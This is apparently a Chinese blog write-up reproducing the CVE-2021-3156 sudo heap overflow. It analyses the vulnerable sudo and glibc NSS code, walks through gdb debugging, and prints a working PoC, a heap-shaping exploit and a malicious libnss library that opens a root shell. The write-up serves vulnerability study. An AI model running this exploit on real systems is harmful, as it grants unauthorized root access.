CVE-2021-3156
CVE-2021-3156 sudo 提权漏洞,复现过程总结
复现环境
- 系统:Ubuntu 20.04
- sudo: sudo-1.8.31
源码下载:https://mirrors.ustc.edu.cn/ubuntu/pool/main/s/sudo/sudo_1.8.31.orig.tar.gz
漏洞分析
可以参照一下官方的修复方式:
https://github.com/sudo-project/sudo/commit/1f8638577d0c80a4ff864a2aad80a0d95488e9a8
找到 1.8.31 版本源码的漏洞位置如下:
//plugins/sudoers/sudoers.c
//set_cmnd()
......
819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
......
845
846 /* set user_args */
847 if (NewArgc > 1) {
848 char *to, *from, **av;
849 size_t size, n;
850
851 /* Alloc and build up user_args. */
852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
855 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
856 debug_return_int(-1);
857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
859 /*
860 * When running a command via a shell, the sudo front-end
861 * escapes potential meta chars. We unescape non-spaces
862 * for sudoers matching and logging purposes.
863 */
864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
865 while (*from) {
866 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867 from++;
868 *to++ = *from++;
869 }
870 *to++ = ' ';
871 }
872 *--to = '\0';
873 } else
......
在 set_cmnd 函数,看到 866 行处,以 \
开头下一个字符不是空格,那么就认为是转义字符,from++
跳过字符 \
,但是没有考虑到下一个字符是 \0
的情况,如果下一个字符是 \0
,那么 *to = *from++
就写入 \0
字符,下一次循环条件判断成立,则继续往 user_args 里面写入数据,而 user_args 是在 852-854 行处使用 malloc 分配的一个堆块,这就可以造成一个堆溢出的漏洞
最后一个参数后面就是环境变量的位置,所以只要最后一个参数以一个 \
结尾,那么就可以通过控制环境变量,堆溢出写入任意数据
同时看到 819 行处,触发漏洞需要设置 MODE_RUN
,MODE_EDIT
,MODE_CHECK
中的一个,858 行处,要求设置 MODE_SHELL
或 MODE_LOGIN_SHELL
想要触发漏洞,还要先看看下面这段代码:
//src/parse_args.c
//parse_args()
......
571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
572 char **av, *cmnd = NULL;
573 int ac = 1;
574
575 if (argc != 0) {
576 /* shell -c "command" */
577 char *src, *dst;
578 size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
579 strlen(argv[argc - 1]) + 1;
580
581 cmnd = dst = reallocarray(NULL, cmnd_size, 2);
582 if (cmnd == NULL)
583 sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
584 if (!gc_add(GC_PTR, cmnd))
585 exit(1);
586
587 for (av = argv; *av != NULL; av++) {
588 for (src = *av; *src != '\0'; src++) {
589 /* quote potential meta characters */
590 if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
591 *dst++ = '\\';
592 *dst++ = *src;
593 }
594 *dst++ = ' ';
595 }
596 if (cmnd != dst)
597 dst--; /* replace last space with a NUL */
598 *dst = '\0';
599
600 ac += 2; /* -c cmnd */
601 }
......
在处理命令行参数的时候,设置了 MODE_RUN
和 MODE_SHELL
的情况下,会对命令行参数进行重写,把所有元字符包括 \
都转义了,也就是单个反斜杠变成了两个反斜杠,导致后面的漏洞无法触发
总结一下:
MODE_RUN
和MODE_SHELL
不能都设置,因为在 sudo 程序的parse_args
函数里会对反斜杠进行转义,导致漏洞无法触发- 触发漏洞需要设置
MODE_RUN
,MODE_EDIT
,MODE_CHECK
中的一个,同时要设置MODE_SHELL
或MODE_LOGIN_SHELL
那么 MODE_RUN
是不可以设置的,因为一旦设置 MODE_RUN
,触发漏洞条件需要 MODE_SHELL
,而 MODE_RUN
和 MODE_SHELL
同时存在会导致 parse_args
对反斜杠进行转义,导致漏洞无法触发
那么就要设置 MODE_EDIT
或者 MODE_CHECK
,同时不能设置 MODE_RUN
设置 MODE_EDIT
使用 -e
,MODE_LOGIN_SHELL
使用 -i
,MODE_SHELL
使用 -s
,对应源码如下:
//src/parse_args.c
......
358 case 'e':
359 if (mode && mode != MODE_EDIT)
360 usage_excl(1);
361 mode = MODE_EDIT;
362 sudo_settings[ARG_SUDOEDIT].value = "true";
363 valid_flags = MODE_NONINTERACTIVE;
364 break;
......
402 case 'i':
403 sudo_settings[ARG_LOGIN_SHELL].value = "true";
404 SET(flags, MODE_LOGIN_SHELL);
405 break;
......
460 case 's':
461 sudo_settings[ARG_USER_SHELL].value = "true";
462 SET(flags, MODE_SHELL);
463 break;
......
MODE_CHECK
在这里设置,使用 -l
//src/parse_args.c
......
416 case 'l':
417 if (mode) {
418 if (mode == MODE_LIST)
419 SET(flags, MODE_LONG_LIST);
420 else
421 usage_excl(1);
422 }
423 mode = MODE_LIST;
424 valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
425 break;
......
518 if (argc > 0 && mode == MODE_LIST)
519 mode = MODE_CHECK;
......
那么有以下几种选择:
-s -e
-i -e
-s -l
-i -l
但是,-e
和 -l
,都会导致 valid_flags
的改变,最后在 532 行处,导致程序退出,所以上面的 4 种方式都无效
//src/parse_args.c
......
127 #define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
......
249 int valid_flags = DEFAULT_VALID_FLAGS;
......
532 if ((flags & valid_flags) != flags)
533 usage(1);
......
查看源码还发现一处地方:
//src/parse_args.c
......
268 if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
269 progname = "sudoedit";
270 mode = MODE_EDIT;
271 sudo_settings[ARG_SUDOEDIT].value = "true";
272 }
......
当程序的名字是 sudoedit 时,会设置 MODE_EDIT
,而不会去修改 valid_flags
,那么就可以达成漏洞利用的条件,这就是 poc 和目前已公开的 exp 都使用 sudoedit 而不适用 sudo 的原因
那么只需要用 sudoedit -s xxx
,就可以设置 MODE_EDIT
和 MODE_SHELL
,而不设置 MODE_RUN
了
调试分析
调试前准备
使用源码编译的程序进行调试,编译后创建一个链接 sudoedit 到 sudo,或者改名 sudo 为 sudoedit(ubuntu 中的 sudoedit 其实是 sudo 的一个软链接),权限改为 root,并加上 sid 权限
poc
为了更好操控 sudo 程序的环境变量,采用 execve 函数来执行 sudoedit,这里写一个 poc.c:
//poc.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_ENVP 0x1000
char *envp[MAX_ENVP];
int main(int argc, const char * const argv[]) {
char a1[65536];
memset(a1, 'A', 65535);
a1[65535] = '\x00';
char *s_argv[] = { //命令行参数
"sudoedit", "-s", "\\", a1, NULL
};
int envp_pos = 0;
envp[envp_pos++] = NULL; //环境变量
execve("/path/to/sudoedit", s_argv, envp);
return 0;
}
调试开始
使用 sudo gdb ./poc
,执行 catch exec
跟踪 execve,r
命令运行
setlocale 是 sudo 程序开头调用的函数,在这下断点,断下后 finish
即可进入 sudo 的 main 函数
要注意的是,进入 main 函数后,最好删除 setlocale 的断点,以免后续的调用影响跟踪调试
使用 b 213
下断点在 213 行处:
......
212 /* Load plugins. */
213 if (!sudo_load_plugins(&policy_plugin, &io_plugins))
214 sudo_fatalx(U_("fatal error, unable to load plugins"));
......
n
命令步过,加载完 sudoers.so 库后,使用命令 b set_cmnd
在 set_cmnd 函数下断点,c
继续运行,来到断点处,并在 854 行下断点,继续运行
......
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
855 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
856 debug_return_int(-1);
857 }
......
user_args 的大小为 0x10002 即 65538 ("\\" + "A" * 65535 + 2
),并记录 user_args 的 chunk 地址为 0x55555558faa0
跟踪来到漏洞点处:
来到 870 处:
此时可以发现没有溢出,因为此时只复制了反斜杠字符后面的 \0
,以及后面的 65535 个 A,本身 chunk 的大小是足够的
但是,for 循环继续运行,"A" * 65535
又开始继续往后覆盖,此时溢出就出现了
可以看到,溢出把下一个 chunk 的 size 字段都改了,后面 malloc 的时候触发 abort,导致程序异常退出了
漏洞利用
此时可以知道几点:
- user_args 的大小可以由命令行参数控制
- 命令行参数中出现单个反斜杠字符结尾,则会导致堆溢出
- 若单个反斜杠结尾出现在最后一个命令行参数,那么溢出的内容就是紧接着的环境变量,完全可控
- 单个反斜杠结尾的命令行参数或者环境变量都能往 chunk 写入
\0
NSS(Name Service Switch)
目前公开的 exp 大都利用了 NSS(Name Service Switch)机制,这里简述 NSS 的机制
首先是根据 /etc/nsswitch.conf
内容(例如下面这个),初始化链式的 name_database_entry 结构体
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.
passwd: files systemd
group: files systemd
shadow: files
gshadow: files
hosts: files dns
networks: files
protocols: db files
services: db files
ethers: db files
rpc: db files
netgroup: nis
name_database_entry 结构体定义如下:
typedef struct name_database_entry
{
/* And the link to the next entry. */
struct name_database_entry *next;
/* List of service to be used. */
service_user *service;
/* Name of the database. */
char name[0];
} name_database_entry;
name
字段就是 group
,shadow
这些字符串,然后以 next
字段链接起来形成链表
后面的 files systemd
是 service_user 结构体的 name
字段,定义如下:
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
需要使用服务的时候,如果库未加载,则会调用 nss_load_library
函数加载动态链接库
在 set_cmnd 函数结束后,sudoers_lookup 会调用 nss_load_library
函数,源码如下:
//glibc/nss/nsswitch.c
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
/* This service has not yet been used. Fetch the service
library for it, creating a new one if need be. If there
is no service table from the file, this static variable
holds the head of the service_library list made from the
default configuration. */
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
/* Failed to load the library. */
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
# ifdef USE_NSCD
else if (is_nscd)
{
/* Call the init function when nscd is used. */
size_t initlen = (5 + strlen (ni->name)
+ strlen ("_init") + 1);
char init_name[initlen];
/* Construct the init function name. */
__stpcpy (__stpcpy (__stpcpy (init_name,
"_nss_"),
ni->name),
"_init");
/* Find the optional init function. */
void (*ifct) (void (*) (size_t, struct traced_file *))
= __libc_dlsym (ni->library->lib_handle, init_name);
if (ifct != NULL)
{
void (*cb) (size_t, struct traced_file *) = nscd_init_cb;
# ifdef PTR_DEMANGLE
PTR_DEMANGLE (cb);
# endif
ifct (cb);
}
}
# endif
}
return 0;
}
最主要的是,当 ni->library->lib_handle == NULL
成立后,会执行 dlopen
加载动态链接库:
......
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
......
前面有 ni->library == NULL
时执行 nss_new_service
返回的 library->lib_handle
就是 NULL
且 service_user 结构体刚好在堆上,只要溢出覆盖一个 service_user 结构体,伪造 name
字段为 X/X
,library
字段为 NULL,那么后续调用 nss_load_library
时就会调用 __libc_dlopen("libnss_X/X.so.xx")
加载自己写的动态链接库
只要动态链接库写个 constructor 函数,执行 shell,即可提权
这里有一点,大部分文章都没提到(也可能是默认大家都知道了):为什么一定要覆盖 name
成 X/X
的形式,而不是 X
的形式?
这可以从 dlopen 的 man 手册中找到答案:
......
If filename is NULL, then the returned handle is for the main program. If filename contains a slash ("/"), then it is
interpreted as a (relative or absolute) pathname. Otherwise, the dynamic linker searches for the object as follows
(see ld.so(8) for further details):
......
大概意思是,filename 参数只有存在 /
的时候,才会有可能被当作相对路径,没有 /
的时候,会去 PATH 等环境变量指向的地方找对应的库文件,为了方便,使用相对路径的方式,所以使用 X/X
的形式
service_user 结构体分布
gdb 上使用 search -s systemd
可以找到 service_user 等结构体
可以看到 passwd 的 name_database_entry,的 service
字段指向了一条链表,链表上是 files
-> systemd
的 service_user 结构体
那么只要覆盖这两个 service_user 中的一个就可以了,覆盖后面的 service_user 可能会同时把前面的 service_user 也覆盖了,破坏了链表就不行了,所以选择覆盖前面的那个 service_user,同时不能把前面的 name_database_entry 结构体也破坏了
实际情况下,在漏洞点之前会先后从堆上分配下面这些结构体:
passwd(name_database_entry)
files(service_user)
systemd(service_user)
group(name_database_entry)
files(service_user)
systemd(service_user)
...
只要 user_args 位于 name_database_entry 和 service_user 之间,即可覆盖 service_user 而不会破坏 name_database_entry 了
堆布局
通过调试发现,在我的复现环境下,一般情况下 user_args 都位于 service_user 之后,根据目前公开的方式,利用程序开头的 setlocale 函数,对 LC_MESSAGES
,LC_ALL
等环境变量,都会有多次的堆块分配与释放,影响堆块布局的情况,使得 user_args 分配时,得到的刚好是 setlocale 中 free 进 tcache 的 chunk,因为 setlocale 函数的调用在 service_user 等结构体分配之前,那么 user_args 就能分布在 service_user 结构体之前
比如,环境变量使用 LC_ALL=C.UTF-8@AAAA
,@
字符后面的 AAAA
将会在 setlocale 里分配 chunk 进行存储,之后会释放
调试
经过多次测试,exp 如下,下面使用这个 exp 进行一下调试,说明为什么要这么写:
//exp.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_ENVP 0x1000
#define LC_ENV1 "LC_ALL=C.UTF-8@"
#define LC_ENV2 "LC_CTYPE=C.UTF-8@"
char *envp[MAX_ENVP];
int main(int argc, const char * const argv[]) {
char paddingA[0x200] = { 0 };
memset(paddingA,'A',0x190-2);
paddingA[0x190-2] = '\\';
char *s_argv[] = {
"sudoedit", "-s", paddingA, NULL
};
int envp_pos = 0;
for (int i = 0; i < 0xb10-0x190+1; i++){
envp[envp_pos++] = "\\";
}
for (int i = 0; i < 0x30; i++) {
envp[envp_pos++] = "\\";
}
envp[envp_pos++] = "x/i4oyu"; //name
envp[envp_pos++] = "AAA";
char *LC1 = calloc(0x1000, 1);
strcpy(LC1, LC_ENV1);
memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0);
/*
char *LC2 = calloc(0x1000, 1);
strcpy(LC2, LC_ENV2);
memset(LC2 + sizeof(LC_ENV2) - 1, 'Y', 0x90);
*/
envp[envp_pos++] = LC1;
//envp[envp_pos++] = LC2;
envp[envp_pos++] = 0;
execve("/path/to/sudoedit", s_argv, envp);
//execve("/usr/bin/sudoedit", s_argv, envp);
return 0;
}
首先看到这里
......
char *LC1 = calloc(0x1000, 1);
strcpy(LC1, LC_ENV1);
memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0);
......
调试来到 user_args 分配前,查看 heap 情况,存储 0xc0 个 X
的 chunk 在这里:
同时也可以看到,这个 chunk 的大小并不是 0xc0,而是比 0xc0 要大得多的 0x1a0,和参考的一些文章的说法不太一样
同时可以看到这个 0x1a0 的 chunk 位于 name_database_entry 和 service_user 之间:
注意:实际上 set_cmnd
调用后,会从 group 的 name_database_entry 开始查找 service_user 结构体进行 nss_load_library
的调用,所以图中使用的是 group 的链
exp 这里的 0x190-2 就是为了控制命令行参数的长度,使得 user_args 的分配调用 malloc(0x190)
从而分配到上面提到的 chunk:
......
char paddingA[0x200];
memset(paddingA,'A',0x190-2);
paddingA[0x190-2] = '\\';
......
溢出点到要覆盖 service_user 的偏移为 +0xb10:
命令行参数本身有 0x190-1 长的数据复制进了 to,那么只需要连续 0xb10 - 0x190 + 1
多的反斜杠即可连续写入 \0
,直到目标 service_user 结构体,再继续覆写 0x30 长度的数据,即可到达 name
字段,这就是对下面这部分代码的解释:
......
int envp_pos = 0;
for (int i = 0; i < 0xb10-0x190+1; i++){
envp[envp_pos++] = "\\";
}
for (int i = 0; i < 0x30; i++) {
envp[envp_pos++] = "\\";
}
envp[envp_pos++] = "x/i4oyu"; //name
envp[envp_pos++] = "AAA";
......
这里覆盖 name
为 x/xi4oyu
,那么需要编译一个动态链接库 libnss_x/xi4oyu.so.2
,代码如下:
//mkdir libnss_x && gcc -fPIC -shared -o 'libnss_x/i4oyu.so.2' xi4oyu.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[!!!] pwn!\n");
setuid(0);
seteuid(0);
setgid(0);
setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
}
利用成功!
小结
堆布局的方式比较复杂,其中这一句:
memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0);
至于 0xc0 这个值是怎么来的?本人是 从 0 开始间隔 0x10 递增,观察堆的情况,一步步地测出来的
目前公开的文章也并没有做一个很好的解释,具体怎么回事,还是得跟踪调试 setlocale 的每一次 malloc 和 free 的调用了,写得比较好的 exp 是 blasty 的 exp,其中提供了一个爆破脚本,就是为了测出这个合适的值
总结
这是我接触的第一个 CVE,漏洞原理相对还是比较简单的,从中也学到了 NSS 这个十分有意思的机制
最近在学 v8 的漏洞利用,下一次复现的就是 v8 的 CVE 了,加油!
参考
- https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
- https://ama2in9.top/2021/02/04/cve-2021-3156/
- https://mp.weixin.qq.com/s/zyeCBsLNRVdg2ckFnOXENg
- https://www.anquanke.com/post/id/231077
- https://www.jianshu.com/p/18f36f1342b3
- https://github.com/sudo-project/sudo/commit/1f8638577d0c80a4ff864a2aad80a0d95488e9a8
- https://github.com/blasty/CVE-2021-3156